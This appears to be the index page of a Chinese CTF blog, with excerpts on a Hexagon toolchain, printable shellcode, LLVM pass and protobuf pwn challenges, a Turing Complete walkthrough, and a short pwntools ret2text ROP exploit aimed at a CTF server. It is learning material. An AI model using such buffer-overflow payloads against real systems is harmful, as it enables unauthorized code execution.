我们联合,形成两面包夹芝士!
post @ 2024-12-12

准备

toolchain for hexagon这是高通官方的hexagon架构编译工具链源码。是的没错你要自己编译这个环境。当然github上面也给出了编译好的release版本,开箱即用。经历一些波折之后我觉得似乎还是开箱即用比较方便(

搭建步骤大致如下:

阅读此文
基础版请看https://xz.aliyun.com/t/16695?time__1311=Gui%3DYKGIeGOD%2F7XqBK0Q%3DitDOKgmbRmD
阅读此文
post @ 2024-12-09

Alpha_Shell

这题应该是除了签到外全场第一个一血,我抢了个三血。纯血可见字符shellcode题。main函数了塞了一些花指令(jn+jnz),没法直接反编译,部分IDA版本不受影响,我当时用8.3是需要nop掉之后,再create function才能正常反编译。

开了沙箱:沙箱

阅读此文
post @ 2024-11-28

前情提要

本来在前段时间学会protobuf逆向之后,想着直接又去学习llvm pass pwn,然后发现,看不懂(悲)。近段时间刚好在啃编译原理的龙书,掌握了一些概念和理论,又回到这里来,才终于能看懂并且开始复现一些简单的题目。入门学习的资料有两个,一个是C0lin师傅的,一个是返璞归真师傅的。

环境安装

阅读此文

0x00 前言

这道题出来就是防ak的,对于新生赛来说确实有点难度,如果之前没接触过protobuf,在短时间内没那么容易直接做出来。但是如果你现在跟着wp复现过一次,那么之后再遇到,就会没那么慌了,甚至游刃有余。

题目名称: QQbot

阅读此文

OVERTURE架构

图灵完备

指令解码器

阅读此文

循环依赖

要你搭建一个输出决定输入的错误电路。

循环依赖

阅读此文

二进制速算

口算题,不涉及电路,好好熟悉一下2的次方数再去做会比较快。

成对的麻烦

阅读此文

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void *__fastcall sub_1389(double a1)
{
unsigned int v1; // eax
int v2; // eax
void *result; // rax

v1 = time(0LL);
srand(v1);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
isnan(a1);
v2 = rand();
result = mmap((void *)(v2 % 0x7FFFFFFF), 0x1000uLL, 7, 34, -1, 0LL);
dest = result;
return result;
}

申请了一块mmap地址。

阅读此文

0x00 giaopwn

ret2text,没什么好讲的。有个cat flag的字符串,直接用。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
r = remote("challenge.yuanloo.com", 41537)
context.log_level = 'debug'

rdi = 0x400743
flag = 0x601048
system = 0x4006D2

payload = b'a'*0x28+p64(rdi)+p64(flag)+p64(system)
r.sendline(payload)
r.interactive()
阅读此文
⬆︎TOP